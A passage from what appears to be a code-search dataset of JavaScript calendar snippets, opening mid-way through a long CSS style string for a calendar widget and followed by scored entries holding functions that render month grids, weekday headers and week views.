+\n\t'#schedtime .suser2 { top: 5.2em; background: magenta; } ' +\n\t'#schedtime .suser3 { top: 6.8em; background: purple; } ' +\n\t'#schedtime .suser4 { top: 8.4em; background: cyan; } ' +\n\t'#schedtime .suser5 { top: 10em; background: orange; } ' +\n\t'#schedtime .suser6 { top: 11.6em; background: amber; } ' +\n\t'#schedtime .suser7 { top: 13.2em; background: rose; } ' +\n\t'#schedtime .suser8 { top: 14.8em; background: teal; } ' +\n\t'#schedtime .suser9 { top: 16.4em; background: pink; } ' +\n\n // 17 16\n '.calpopup .settings .label { width: 60%; } \\n ' +\n\t//'.calpopup .label[extra] { outline: 1px solid blue; content: \"XX\" ; }' + \"\\n\" +\n\t//'.calpopup .label.EEND[extra] + .value { color: white; content: \"\"; }' + \"\\n\" +\n\t\n\t'.calpopup .privilegeOwner:nth-last-child(n+2):after { content: \",\"; padding-right: 0.15em; }' + \"\\n\" +\n\t'.calpopup .add { position: absolute; bottom: 10px; left: 10px;}' + \"\\n\" +\n\t'.calpopup .schedulebuttons { position: absolute; bottom: 10px; left: 10px; right: 10px; text-align: center; }' + \"\\n\" +\n\t'.calpopup .group.smallschedulebuttons { position: absolute; bottom: 10px; right: 150px; text-align: right; -webkit-box-orient: vertical; -moz-box-orient: vertical; box-orient: vertical; overflow: hidden; height: 1.25em; }' + \"\\n\" +\n\t'.calpopup .group.smallschedulebuttons:hover { overflow: visible; height: auto; margin-top: auto; }' + \"\\n\" +\n\n '.calpopup .group.smallschedulebuttons:hover .button:nth-child(1) { margin-top: 0 !important; } ' + \"\\n\" + \n\t'.calpopup .group.smallschedulebuttons .button { border-right: 1px solid black; -webkit-box-flex: 0; -moz-box-flex: 0; box-flex: 0; display: -webkit-box; display: -moz-box; display: box; -moz-box-orient: vertical; box-orient: vertical; }' + \"\\n\" +\n \n '.calpopup .group.smallschedulebuttons.tentative .button:nth-child(1) { margin-top: -1.5em; } ' + \"\\n\" + \n '.calpopup .group.smallschedulebuttons.declined .button:nth-child(1) { margin-top: -3em; } ' + \"\\n\" + \n\n\t'.calpopup .dropdown { padding-right: 1.5em; padding-left: 1em; }' + \"\\n\" +\n\t'.dropdown:after { content: \"\"; display: block; position: absolute; right: 5px; width:0; height:0; border-color: #666 transparent transparent transparent; border-style: solid; border-width: 8px 4px 1px 4px; '+\n\t\t' -webkit-transform: translate(0px, -1em) ; -moz-transform: translate(0px,-1em) ; transform: translate(0px,-1em); } ' + \"\\n\" +\n\t'.calpopup .done { position: absolute; bottom: 10px; right: 10px; }' + \"\\n\" +\n\t'.warning { text-shadow: #FF7400 0px 0px 3px; } ' + \"\\n\" +\n\t'.calpopup .delete { position: absolute; bottom: 10px; right: 80px; }' + \"\\n\" +\n\t'.calpopup .unbind { position: absolute; bottom: 10px; left: 10px; }' + \"\\n\" +\n\t'.calpopup .bind { position: absolute; bottom: 10px; left: 10px; }' + \"\\n\" +\n\t'.button { text-align: center; padding: 0.1em 1.25em 0.1em 1.25em; border: 1px solid #888; border-bottom: 1px solid #AAA; '+\n\t\t'-webkit-border-radius: 2px; -moz-border-radius: 2px; border-radius: 2px; font-size: 9pt; '+\n\t\t'background-color: #dddddd; background: -moz-linear-gradient(top, #FFF 0%,#dadada 55%,#dddddd 100%); background: -webkit-gradient(linear, left top, left bottom, from(#FFF),color-stop(0.55,#dadada), to(#dddddd) ); background-image: -o-linear-gradient(top, #FFF 0%,#dadada 55%,#dddddd 100%); }' + \"\\n\" +\n\t'.group { padding-left: 1px; padding-right: 1px; display: -webkit-box;display: box; -webkit-box-orient: horizontal; -webkit-box-pack: center; -moz-box-orient: horizontal; -moz-box-pack: center; box-orient: horizontal; box-pack: center; -moz-box-align: baseline; box-orient: horizontal; box-align: baseline; -moz-box-flex: 1; } '+\"\\n\"+\n\t'.group .button { border-right: 0px; display: inline; display: -webkit-box; display: box; -webkit-box-flex: 1; box-flex: 1; -webkit-border-radius: 0px; -moz-border-radius: 0px; border-radius: 0px; -moz-box-orient: horizontal; -moz-box-pack: center; text-align: center; }' + \"\\n\" +\n\t'.group .button:first-child { border-right: 0px; -webkit-border-radius: 2px; -moz-border-radius: 2px; border-radius: 2px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; }' + \"\\n\" +\n\t'.group .button:last-child { border-right: 1px solid #888; -webkit-border-radius: 2px; -moz-border-radius: 2px; border-radius: 2px; border-top-left-radius: 0px; border-bottom-left-radius: 0px; }' + \"\\n\" +\n\t'.question { padding-bottom: 1em; width: 100% } ' + \"\\n\" +\n\t'.box2 { position: relative;width: 100% } ' + \"\\n\" +\n\t'.box2 > * { position: relative; float: left; margin-right: 1%; width: 48.9%; } ' + \"\\n\" +\n\t'.box3 { position: relative; width: 100%; } ' + \"\\n\" +\n\t'.box3 > * { position: relative; float: left; margin-right: 1%; width: 32.3%; } ' + \"\\n\" +\n\n\t'#calheader { position: relative; width: 100%; font-weight: lighter; text-align: center; margin-left:2.5em; padding: .15em 2em 0; -webkit-box-sizing: border-box; -moz-box-sizing: border-box; box-sizing: border-box; }' + \"\\n\" +\n\t'#calyearname { font-size: 200%; position: relative; }' + \"\\n\" +\n\t'#calmonthname { padding-right: 1em; font-size: 200%; position: relative; }' + \"\\n\" +\n\t'#calmonthname:hover:before { content: \"<\"; position: absolute; left:-.7em; margin-top: -.1em; color: #aaa;}' + \"\\n\" +\n\t'#calmonthname:hover:after { content: \">\"; position: absolute; margin-top: -0.1em; color: #aaa;}' + \"\\n\" +\n\t'#calyearname:hover:before { content: \"<\"; position: absolute; margin-top: -.1em; left:-.7em; color: #aaa;}' + \"\\n\" +\n\t'#calyearname:hover:after { content: \">\"; position: absolute; margin-top: -.1em; color: #aaa;}' + \"\\n\" +\n\t'.week { width:100%; margin:0; padding:0; height:6em; padding-bottom: 1px; }' + \"\\n\" +\n\t'.weeknum { width: 1.5em; border-top: 1px solid #AAA; border-right:1px solid #AAA; height: 6em; vertical-align: top; overflow: hidden; padding: 0; position: relative; -webkit-transition-property: all; -webkit-transition-duration: .2s; -moz-transition-property: all; -moz-transition-duration: .2s; transition-property: all; transition-duration: .2s; }' + \"\\n\" +\n\t'.currentweek { background-color: #efefff; }' + \"\\n\" +\n\t'.weekview .weeknum { width: 3em; }' + \"\\n\" +\n\t'.weekview .currentweek { background-color: none; }' + \"\\n\" +\n\t'.weeknum:before { content: attr(weeknum); width: 100%; display: block; text-align: center; position: relative; margin-top: -0.5em; top: 50%; z-index: 5; }' + \"\\n\" +\n\t'.weekview .week { width:100%; margin:0; padding:0; height:20em; padding-bottom: 1px; }' + \"\\n\" +\n\t'.weekview td.weeknum:before { margin-top: -1.15em; }' + \"\\n\" +\n\t//'.weekview td.weeknum:before { height: 0; overflow: visible;top: .5em; margin-top: 0; }' + \"\\n\" +\n\t'.days { width: 100%; }' + \"\\n\" +\n\t'.days TR { width: 100%; }' + \"\\n\" +\n\t'.days TD { padding:0; margin:0; width: 14%; display: block; float: left; text-align: center; font-weight: lighter; padding-right: 2px; padding-bottom: 4px;} ' + \"\\n\" +\n\t'.days TD:first-child { padding-left: 1px; } ' + \"\\n\" +\n\t'.day { display: table-cell; padding:0; margin:0; width: 14%; border-top: 1px solid #AAA; border-right:1px solid #AAA; height: 6em; max-height: 6em; vertical-align: top; overflow: hidden;' + \"\\n\" +\n ' } ' + \"\\n\" +\n\t\t//' -webkit-transition-property: all; -webkit-transition-duration: .2s; -moz-transition-property: all; -moz-transition-duration: .2s; transition-property: all; transition-duration: .2s;} ' + \"\\n\" + \n\t'.weekview .week .day { height: 100%; max-height: 100%; }' + \"\\n\" +\n\t'.week:first-child .day { border-top: none !important; } ' + \"\\n\" +\n\t'.day:hover { background-color: #F2F6FF !important; }' + \"\\n\" +\n\t'.day > .header { position: relative; top:0; margin: 0.2em; height: 1.1em; float:right; width: 100%; text-align: right; z-index:10; }' + \"\\n\" + //border-left: 1px solid black; border-bottom: 1px solid black; -moz-border-bottom-left-radius: 5px; -webkit-border-bottom-left-radius: 5px; border-radius-bottom-left: 5px; }' +\n\t'.day1 > .header:before { content: attr(month); margin-left: .2em; float: left; text-align: left; white-space: nowrap; color: grey; font-weight: lighter; }' + \"\\n\" +\n\t'.month1,.month3,.month5,.month7,.month9,.month11 { background-color: #FFF } ' + \"\\n\" +\n\t'.month0,.month2,.month4,.month6,.month8,.month10,.month12 { background-color: #EEF; } ' + \"\\n\" +\n\t'.today { background-color: #DDF !important; } ' + \"\\n\" + \n\t'.day ul.eventlist { width: 100%; padding: 0; margin: 0; margin-top: 1.4em; min-height: 5em; max-height: 5em; list-style-type: none; }' + \"\\n\" +\n\t'.hourswrapper { display: none; position: relative; height:0; } ' + \"\\n\" +\n\t'.weekview .week ul.hoursbg { position: absolute; width: 100%; padding: 0; margin: 0; margin-top: 1.4em; list-style-type: none; height: 100%; color: #CCC; }' + \"\\n\" + \n\t'.weekview div.hourswrapper { display: block; }' + \"\\n\" + \n\t'.weekview div.hourswrapper .hoursbg li { display: block; width: 100%; text-align: right; white-space: pre; overflow: hidden; }' + \"\\n\" + \n\t'.weekview .day div.hourswrapper .hoursbg li { content:\"\"; }' + \"\\n\" + \n\t'.weekview div.hourswrapper .hoursbg li:nth-child(2n+1) { background-color: rgba(75%,75%,75%,0.35); width: 100%; }' + \"\\n\" + \n\t'.weekview .week .day ul.eventlist { position: relative; max-height: 100%; z-index: 2; }' + \"\\n\" + \n\t'.weekview .day ul.eventlist li.event:hover { z-index: 3; }' + \"\\n\" + \n\t'.day ul.eventlist > li { width: 100%; float:left; } ' +\t\"\\n\" + \n\t'.day ul.eventlist > li:nth-last-child(1n+6), .day ul.eventlist > li:nth-last-child(1n+6) ~ li { width: 50%; } ' +\t\"\\n\" + \n\t'.day ul.eventlist > li:nth-last-child(1n+11), .day ul.eventlist > li:nth-last-child(1n+11) ~ li { width: 33.34%; } ' +\t\"\\n\" + \n\t'.day ul.eventlist > li:nth-last-child(1n+16), .day ul.eventlist > li:nth-last-child(1n+16) ~ li { width: 25%; } ' +\t\"\\n\" + \n\t'.day ul.eventlist > li:nth-last-child(1n+21), .day ul.eventlist > li:nth-last-child(1n+21) ~ li { width: 20%; } ' +\t\"\\n\" + \n\t'.day ul.eventlist > li:nth-last-child(1n+26), .day ul.eventlist > li:nth-last-child(1n+26) ~ li { width: 16.7%; } ' +\t\"\\n\" + \n\t'.day ul.eventlist > li:nth-last-child(1n+31), .day ul.eventlist > li:nth-last-child(1n+31) ~ li { width: 14.28%; } ' +\t\"\\n\" + \n\n\n\n\t'.weekview .day ul.eventlist > li[data-duration] { padding-left: 0; border-right-width: 13px; width: 100%; }' + \"\\n\" + \n\t'#caltodo .event { margin:0; margin-top: 0; padding-left: .3em; padding-top: .2em; padding-bottom: .2em; display: list-item; font-size: 10pt; vertical-align: top; height: 1.1em; overflow: hidden; text-overflow: ellipsis; ' + \"\\n\" +\n\t\t' -webkit-transition-property: all; -webkit-transition-duration: .2s; -moz-transition-property: all; -moz-transition-duration: .2s; transition-property: all; transition-duration: .2s;} ' + \"\\n\" + \n\t\n\t'.day .event { -webkit-box-sizing: border-box; -moz-box-sizing: border-box; box-sizing: border-box; width: 100%; max-width: 100%; white-space: nowrap; text-overflow: ellipsis; margin:0; margin-top: 0; padding-left: .7em; font-size: 10pt; vertical-align: top; max-height: 1.1em; overflow: hidden; ' + \"\\n\" +\n\t\t' min-height: 3px; ' + \"\\n\" +\n\t\t' -webkit-transition-property: all; -webkit-transition-duration: .2s; -moz-transition-property: all; -moz-transition-duration: .2s; transition-property: all; transition-duration: .2s;} ' + \"\\n\" + \n\t\n\t'#wcal .event:before { content: \" \"; font-face: times; width: 0px; position: relative; display: block; float: left; height: 1.1em; margin-left: -.7em; border-left: .15em solid; border-right: .15em solid; }' + \"\\n\" +\n\t'#wcal .event[transparent=TRANSPARENT]:before { content: \" \"; font-face: times; width: 4px; position: relative; display: block; float: left; height: .15em; margin-left: -.7em; border: none; border-top: .471em double; border-bottom: .471em double; }' + \"\\n\" +\n\t\"#wcal .event[status=CANCELLED] { text-decoration: line-through; } \\n\" +\n\t\"#wcal .day ul li.event[status=TENTATIVE] { opacity: 0.75; border-bottom: 2px solid gold; } \\n\" +\n\t\"#wcal .day ul li.event[status=CONFIRMED] { opacity: 0.75; border-bottom: 0px solid green; } \\n\" +\n\t'.event:hover { color: white; -webkit-box-flex: 0; -moz-box-flex: 0; box-flex: 0; min-height: 1em; }' + \"\\n\" +\n\t'.eventstart.event:before { content:none !important; }' + \"\\n\" +\n\t'.eventstart { -webkit-box-flex: 0; -moz-box-flex: 0; box-flex: 0; text-wrap: none; -moz-border-radius: .5em 0px 0px .5em; -webkit-border-radius: .5em 0px 0px .5em; border-radius: .5em 0px 0px .5em; } ' + \"\\n\" +\n\t'.eventend { -webkit-box-flex: 0; -moz-box-flex: 0; box-flex: 0; padding:0px !important; -moz-border-radius: 0px .5em .5em 0px; -webkit-border-radius: 0px .5em .5em 0px; border-radius: .0px .5em .5em 0px; } ' + \"\\n\" +\n\t\n\t'#calpopup,#calpopupe,.calpopup {position:absolute; z-index: 10; width: 300px; min-height: 300px; border:1px solid #AAA; background:#FFF; font-size: 11pt; -moz-border-radius:5px; -webkit-border-radius:5px; border-radius:5px; '+\n\t\t'-moz-box-shadow: 3px 3px 10px #888; -webkit-box-shadow: 3px 3px 10px #888; box-shadow: 3px 3px 10px #888; -webkit-transform: translate(3px,-22px); -moz-transform: translate(3px,-22px); transform: translate(3px,-22px);}' + \"\\n\" +\n\t'#calpopup { overflow: visible; } ' + \"\\n\" +\n\t'.calpopupe { min-width: 200px; min-height: 150px; } ' + \"\\n\" +\n\t'.calpopup { padding: 0.5em;resize:both; -webkit-transition-property: display; -webkit-transition-duration: 0.2s; -moz-transition-property: display; -moz-transition-duration: .2s; transition-property: display; transition-duration: .2s;}' + \"\\n\" + \n '#calpopupe.bottom,#calpopup.bottom,.calpopup.bottom { -webkit-transform: translate(3px,-2px); -moz-transform: translate(3px,-2px); transform: translate(3px,-2px); } ' + \"\\n\" +\n\t'.calpopup * { resize:none; } ' + \"\\n\" +\n\t'.calpopup .granted { color: green; border-bottom: 2px solid green; }' + \"\\n\" +\n\t'.calpopup .granted li { color: green; border-bottom: 2px solid green; }' + \"\\n\" +\n\t'.calpopup.left:before { content: \"\"; position: absolute; display: block; top: 20px; left:-9px; width: 15px; height:15px; border:1px solid #AAA; background:#FFF; '+\n\t\t'-moz-box-shadow: 0px 0px 6px #888; -webkit-box-shadow: 0px 0px 6px #888; box-shadow: 0px 0px 6px #888; z-index: -10; '+\n\t\t'-webkit-transform: rotate(45deg); -moz-transform: rotate(45deg); -ms-transform: rotate(45deg); transform: rotate(45deg); z-index: 0;} ' + \"\\n\" +\n\t'.calpopup.left:after { content: \"\"; position: absolute; display: block; top: 13px; left: 0; width: 15px; height:30px; background:#FFF; z-index: 10;} ' + \"\\n\" +\n\t'.calpopup.right:before { content: \"\"; position: absolute; display: block; top: 20px; right:-9px; width: 15px; height:15px; border:1px solid #AAA; background:#FFF; '+\n\t\t'-moz-box-shadow: 0px 0px 6px #888; -webkit-box-shadow: 0px 0px 6px #888; box-shadow: 0px 0px 6px #888; z-index: -10; '+\n\t\t\t'-webkit-transform: rotate(45deg); -moz-transform: rotate(45deg); -ms-transform: rotate(45deg); transform: rotate(45deg); z-index: 0;} ' + \"\\n\" +\n\t'.calpopup.right:after { content: \"\"; position: absolute; display: block; top: 13px; right:0; width: 15px; height:30px; background:#FFF; z-index: 10;} ' + \"\\n\" +\n\n\t'.calpopup.left.bottom:before { content: \"\"; position: absolute; display: block; top: 250px; left:-9px; width: 15px; height:15px; border:1px solid #AAA; background:#FFF; '+\n\t\t'-moz-box-shadow: 0px 0px 6px #888; -webkit-box-shadow: 0px 0px 6px #888; box-shadow: 0px 0px 6px #888; z-index: -10; '+\n\t\t'-webkit-transform: rotate(45deg); -moz-transform: rotate(45deg); -ms-transform: rotate(45deg); transform: rotate(45deg); z-index: 0;} ' + \"\\n\" +\n\t'.calpopup.left.bottom:after { content: \"\"; position: absolute; display: block; top: 243px; width: 15px; height:30px; background:#FFF; z-index: 10;} ' + \"\\n\" +\n\t'.calpopup.right.bottom:before { content: \"\"; position: absolute; display: block; top: 250px; right:-9px; width: 15px; height:15px; border:1px solid #AAA; background:#FFF; '+\n\t\t'-moz-box-shadow: 0px 0px 6px #888; -webkit-box-shadow: 0px 0px 6px #888; box-shadow: 0px 0px 6px #888; z-index: -10; '+\n\t\t'-webkit-transform: rotate(45deg); -moz-transform: rotate(45deg); -ms-transform: rotate(45deg); transform: rotate(45deg); z-index: 0;} ' + \"\\n\" +\n\t'.calpopup.right.bottom:after { content: \"\"; position: absolute; display: block; top: 243px; right:0; width: 15px; height:30px; background:#FFF; z-index: 10;} ' + \"\\n\" +\n\n\t'.databool { content: \"\" !important; } ' + \"\\n\" +\n\t'.databool.boolselected:before { content: marker(\"disc\"); color: blue; } ' + \"\\n\" +\n\n\t'.event[data-time^=\"0.\"] { color: white !important; } ' + \"\\n\" +\n\t'#wcal .event[data-time^=\"0.\"]:before { display: none; } ' + \"\\n\" +\n\t'.privilegeBox { position: absolute; display: none; background-color: white; border: 1px solid #999; width: 32em;}' + \"\\n\" +\n\t'.privilegeOwner:hover .privilegeBox { display: block; }' + \"\\n\" +\n\t'.privilegeBox li { border-bottom: 2px solid white; }' + \"\\n\" +\n\t'.privilegeBox > ul >li { width:100%; clear: both; }' + \"\\n\" +\n\t'.privilegeBox * { padding:0; margin: 0; color: #AAA; }' + \"\\n\" +\n\t'.privilegeBox li ul { display: inline; position: relative; width: 22.5em; }' + \"\\n\" +\n\t'.privilegeBox li li { float:right ; width: 7.5em; }' + \"\\n\" +\n\t'.completionWrapper { position: absolute; top:0; margin:0; margin-top: 2em; z-index: 100; padding: 0; min-height:0 ; max-width: ; min-width: 0; overflow: hidden; padding-right: -1em; ' + \"\\n\" +\n\t\t'-moz-box-shadow: 0px 0px 6px #888; -webkit-box-shadow: 0px 0px 6px #888; box-shadow: 0px 0px 6px #888; } '+ \"\\n\" +\n\t'.completion { z-index: 100; padding: 0; min-height:0 ; max-height: 20em; min-width: 0;background: white; overflow-y: auto ; overflow-x: hidden; padding-right: 19px; margin-right: -18px; }' + \"\\n\" +\n\t'#caltodo .completionWrapper,#caltodo .completionWrapper > div { text-align: left; font-size: 8pt; font-weight: normal; }' + \"\\n\" +\n\t'#caltodo .completionWrapper .completion div { text-align: left; }' + \"\\n\" +\n\t'.completion div:first-child {margin: 0 0 0 0; } ' + \"\\n\" +\n\t'.completion div:nth-last-child(11) ~ div:last-child {margin-bottom: 1em; } ' + \"\\n\" +\n\t'.completion div { width: 110%; margin: 0; padding: .3em; white-space: pre; padding-left: .5em; padding-right: .5em; -moz-transition-property: all; -moz-transition-duration: .2s; -webkit-transition-property: all; -webkit-transition-duration: .2s; transition-property: all; transition-duration: .2s; } ' + \"\\n\" +\n\t'.completion div:hover { background: #AAA !important; } ' + \"\\n\" +\n\t'.completion div:nth-last-child(11):before { content: \"\"; display: block; position: absolute; top: 19em; left: 0; height: 1em; width: 100%; z-index:110; background: -webkit-gradient(linear, left top, left bottom, from(rgba(255,255,255,0)), to(rgba(160,160,160,1))); background: -webkit-linear-gradient(top, rgba(255,255,255,0) 0%, rgba(160,160,160,1) 100%); background: linear-gradient(top, rgba(255,255,255,0) 0%, rgba(160,160,160,1) 100%);} \\n' +\n\t//'.completion div:nth-last-child(8):before { display: block; position: relative; top: 5em; left: 0; height: .5em; width: 100%; outline: 1px solid green; background: blue; z-index:110; } \\n' +\n\t'.completion:not(.multiselect):hover div.selected { background: none; } ' + \"\\n\" +\n\t'.completion div.selected { background: #AAA; } ' + \"\\n\" +\n\t'.completion div.highlighted { background: #BBA; } ' + \"\\n\" +\n\t'.completion div.remove { height: 1em; } ' + \"\\n\" +\n\t'.completion div.remove:before { content: attr(text); color: #787878; } ' + \"\\n\" +\n\t\n\n\t'.timeline { margin: 0 ; padding:0; width: 1em; position: absolute; bottom: 1px; height: 100%; } ' + \"\\n\" +\n\t'.timeline ol { list-style-type: none; margin: 0 ; margin-left: -0.08em; padding:0; width: 1.5em; position: absolute; bottom: 1px; height: 100%; } ' + \"\\n\" +\n\t'.timeline ol:hover { padding-top: 0; -webkit-transition: all 0.2s; -moz-transition: all 0.2s; -moz-transition-property: all; -moz-transition-duration: .2s; transition: all 0.2s; } ' + \"\\n\" +\n\t'.timeline ol li.line { position: absolute; height: 1em; top: 0; right: 0.4em; text-align: right; margin: 0; padding:0; width: 2.5em; font-size: 100% !important; '+\n\t\t'color: green; -webkit-transition: none 0.0s; -moz-transition: all 0.2s; transition: all 0.2s; -moz-transition-property: all; -moz-transition-duration: .2s; z-index: 2; } ' + \"\\n\" +\n\t'.timeline ol li.current { position: absolute; height: 0; left: 0; margin-top: 0; margin-left: 2px; padding:0; width: 0.85em; font-size: 100% !important; '+\n\t\t'border-top: 2px solid red; -webkit-transition: none 0.0s; -moz-transition: all 0.2s; transition: all 0.2s; -moz-transition-property: all; -moz-transition-duration: .2s; z-index: 1; } ' + \"\\n\" +\n\t'.timeline li { list-style-type: none; margin: 0 ; padding:0; color: #999; position: relative; height: 17.15%; width:1em; -webkit-box-sizing: border-box; -moz-box-sizing: border-box; box-sizing: border-box; '+\n\t\t'-webkit-transition: all 0.2s; -moz-transition: all 0.2s; transition: all 0.2s; overflow: hidden ; white-space: nowrap; -moz-transition-property: all; -moz-transition-duration: .2s; z-index: 3; padding-top: 40%; border-color: #999; } ' + \"\\n\" +\n\t'.timeline li span { padding:0; margin:0; display: block; position: absolute; margin-bottom: -0.5em; bottom: 50%; font-size: 120%; } ' + \"\\n\" +\n\t'.timeline li:nth-child(2n+1) { color: #9898C8; border-color: #9898C8; } ' + \"\\n\" +\n\t'.timeline li.hover120 { font-size: 150%; margin-left: 2px; text-indent: -0.2em; width: 4em; overflow: visible;border-left: 1px solid; } ' + \"\\n\" +\n\t'.timeline li.hover165 { font-size: 200%; margin-left: 2px; text-indent: -0.2em; width: 4em; overflow: visible;border-left: 2px solid; } ' + \"\\n\" +\n\t'.timeline li.hover200 { font-size: 300%; margin-left: 2px; text-indent: -0.2em; width: 4em; overflow: visible; border-left: 4px solid; } ' + \"\\n\" +\n\t'.timeline li.hover200 span { } ' + \"\\n\" +\n\t'.timeline li.hover165a { font-size: 200%; margin-left: 2px; text-indent: -0.2em; width: 4em; overflow: visible; border-left: 2px solid; } ' + \"\\n\" +\n\t'.timeline li.hover120a { font-size: 150%; margin-left: 2px; text-indent: -0.2em; width: 4em; overflow: visible; border-left: 1px solid; } ' + \"\\n\" +\n\t'#calcurrenttime { position: absolute; height: 0; left: 1px; margin: 0; padding:0; width: 110%; border-bottom: 1px solid red; '+\n\t\t'-webkit-transition: none 0.0s; -moz-transition: all 0.2s; transition: all 0.2s; -moz-transition-property: all; -moz-transition-duration: .2s; z-index: 1; } ' + \"\\n\" +\n\t'.weekview #calcurrenttime { margin-top: 1em; } '+\"\\n\"+\n\twvs +\n\n\t'#callightbox { position: absolute; top:0; left:0; width: 100%; height: 100%; background-color: rgba(0,0,0,0.6); z-index: 20;} ' + \"\\n\" +\n\t\".colorpicker { position: absolute; width: 8em; height: 7em; background-color: white; z-index: 99;} \\n\" +\n\t\".colorpicker span { display: block; float: left; width: 1em; height: 1em; margin: 0.2em 0.166em 0.2em 0.166em; } \\n\" + \n\t\".color1 { background-color: #000088; } .color2 { background-color: #008800; } .color3 { background-color: #880000; } .color4 { background-color: #008888; } .color5 { background-color: #880088; } .color6 { background-color: #888800; } \\n\" + \n\t\".color7 { background-color: #4444CC; } .color8 { background-color: #44CC44; } .color9 { background-color: #CC4444; } .color10 { background-color: #44CCCC; } .color11 { background-color: #CC44CC; } .color12 { background-color: #CCCC44; } \\n\" +\n\t\".color13 { background-color: #0000FF; } .color14 { background-color: #00FF00; } .color15 { background-color: #FF0000; } .color16 { background-color: #00FFFF; } .color17 { background-color: #FF00FF; } .color18 { background-color: #FFFF00; } \\n\" + \n\t\".color19 { background-color: #4444FF; } .color20 { background-color: #44FF44; } .color21 { background-color: #FF4444; } .color22 { background-color: #44FFFF; } .color23 { background-color: #FF44FF; } .color24 { background-color: #FFFF44; } \\n\" + \n\t\".color25 { background-color: #8888FF; } .color26 { background-color: #88FF88; } .color27 { background-color: #FF8888; } .color28 { background-color: #88FFFF; } .color29 { background-color: #FF88FF; } .color30 { background-color: #FFFF88; } \\n\" + \n\t\"#translator .label { width: 10em; } \\n\" +\n\t\"#translator .missing { outline: 2px dashed red; } \\n\" +\n\t\n\t'#caldrop { position: absolute; top: 0; left: 0; text-align: right; margin: 0; padding: 0; background: white; border-bottom: 1px solid red; width: 30%; height: 1em; z-index: 99; }' + \"\\n\" +\n\t\"#caldavloading1 span { -webkit-text-fill-color: transparent; display: block; width: 200%; margin-left: -50%; background-position: -3.5em 0; \\n\"+\n \" -webkit-animation-name: 'colorcycle'; -webkit-animation-duration: 2s; -webkit-animation-iteration-count: infinite; -webkit-animation-timing-function: ease; \\n\"+\n\t\" background-image: -webkit-gradient(linear,left top,right top,color-stop(0, #555),color-stop(0.4, #555),color-stop(0.5, white),color-stop(0.6, #555),color-stop(1, #555));\\n\"+\n\t\" background-image: -webkit-linear-gradient(left ,#555 0%, #555 40%, white 50%, #555 60%, #555 100% ); \\n\"+\n\t\" background-image: -moz-linear-gradient(left ,#555 %0,#555 40%, white 50%, #555 60%, #555 100%); background-image: linear-gradient(left ,#555 %0,#555 40%, white 50%, #555 60%, #555 100%); \\n\" +\n\t\" -webkit-background-clip: text; } \\n \"+\n \"@-webkit-keyframes 'colorcycle' { from { background-position: -3.5em 0; } to { background-position: 3.5em 0; } }: \\n\"+\n\t'</style>';\n\t$(document.body).append(cs);\n}", "title": "" }, { "docid": "7bbca3ca66ee6c4d10371eb8bd138ff7", "score": "0.6039676", "text": "function insertCalendarDates() {\n\t\tlet today = new Date();\n\t\tfor (i=0; i<gridSpacesList.length; i++) {\n\t\t\tgridSpacesList[i][0].innerHTML = fillerText;\n\t\t\tgridSpacesList[i][0].style.color = \"#FFFFFF\";\n\t\t}\n\n\t\tlet dList = makeDaysForMonth();\n\t\tlet k = dList[0].getDay();\n\t\tfor (i=0; i<dList.length; i++) {\n\t\t\tlet j = i + 1;\n\t\t\tgridSpacesList[k][0].innerHTML = j.toString();\n\t\t\tif (j == today.getDate() & today.getMonth() == currMonth & today.getFullYear() == currYear)\n\t\t\t gridSpacesList[k][0].style.color = \"#0085e3\";\n\t\t\telse\n\t\t\t gridSpacesList[k][0].style.color = \"#000000\";\n\t\t\tk++;\n\t\t}\n\n\t\tfor (i=0; i<7; i++) {\n\t\t\tlet day = document.createElement(\"h3\");\n\t\t\tday.innerHTML = dayList[i];\n\t\t\tday.style.textAlign = \"center\";\n\t\t\tday.style.paddingRight = \"10px\";\n\t\t\tday.style.margin = \"0px\";\n\t\t\tday.style.color = \"#bfbfbf\";\n\t\t\tgridSpacesList[i][0].insertAdjacentElement(\"afterbegin\", day);\n\t\t}\n\t}", "title": "" }, { "docid": "4d81546babb3c6334e1d2cbac171dab4", "score": "0.6035808", "text": "function disCalendar(weeks){\n $(\"#tableCal\").empty();\n this.weeks=weeks;\n //display the month and year\n let disMonthFull=months[dateInfo.month];\n $(\"#headerCal\").text(disMonthFull+\", \"+dateInfo.year);\n\n //display the headers of the calendar\n let days=[\"Sunday\",\"Monday\", \"Tuesday\",\"Wednesday\", \"Thursday\", \"Friday\", \"Saturday\"];\n $trHeaders=$(\"<tr></tr>\");\n for (let s=0; s<days.length; s++){\n $th=$(\"<th></th>\").text(days[s]);\n $trHeaders.append($th);\n }\n $(\"#tableCal\").append($trHeaders);\n\n //display the body of calendar\n for (let i=0; i<this.weeks.length; i++){\n let curWeek=this.weeks[i];\n let $tr=$(\"<tr></tr>\");\n let curDates=curWeek.getDates();\n for (let j=0; j<curDates.length; j++){\n let curDate=curDates[j];\n let $td=$(\"<td></td>\");\n $td.text(curDate.getDate());\n $tr.append($td);\n }\n $(\"#tableCal\").append($tr);\n }\n}", "title": "" }, { "docid": "e1801bd2d27d92528152937770901f9c", "score": "0.6028504", "text": "function getDayNames() {\n\tvar dayName = [\n\t\t\"Sun\", \"Mon\", \"Tue\", \"Wed\", \"Thu\", \"Fri\", \"Sat\"\n\t];\n\n\tdocument.write(\"<tr>\");\n\tfor (var dayCount = 0; dayCount < dayName.length; dayCount++) {\n\t\tdocument.write(\"<th class='calendar_weekdays'>\" + dayName[dayCount] + \"</th>\");\n\t}\n\tdocument.write(\"</tr>\");\n}", "title": "" }, { "docid": "519a9443fe95e19b2208ff83a7c872bc", "score": "0.6019698", "text": "function renderPrevious() {\n anteriorSemana(showWeeks);\n weekRender();\n //eventRender();\n}", "title": "" }, { "docid": "8672ef3a626a54e7f7c4a6ba7af8c5ef", "score": "0.6009729", "text": "function calendarRender() {\n\n // Create a new wrapped calendar and place it within the holder\n $HOLDER.html( createCalendarWrapped() )\n\n // Update the calendar items\n CALENDAR.items = getUpdatedCalendarItems()\n }", "title": "" }, { "docid": "95e7c57a98c69120e42ebcfbd705e205", "score": "0.60066164", "text": "function pz_set_calendarweek_init()\n{\n // pz_toggleSection(1);\n pz_set_calendarweek_offset();\n pz_calendarweek_rearrange_events();\n pz_set_calendarweek_dragresize_init();\n\n $(\".calendar.view-week a.toggle\").on('click', function() {\n pz_calendarweek_rearrange_events();\n });\n // pz_toggleSection(1);\n\n}", "title": "" }, { "docid": "553a2ee4a923c33e904f5d6d59d1b24f", "score": "0.60062546", "text": "function displayDayBtn() {\n // DAY\n if (dayTime) {\n stroke(ORANGE_COLOR.r, ORANGE_COLOR.g - 30, ORANGE_COLOR.b);\n strokeWeight(3);\n 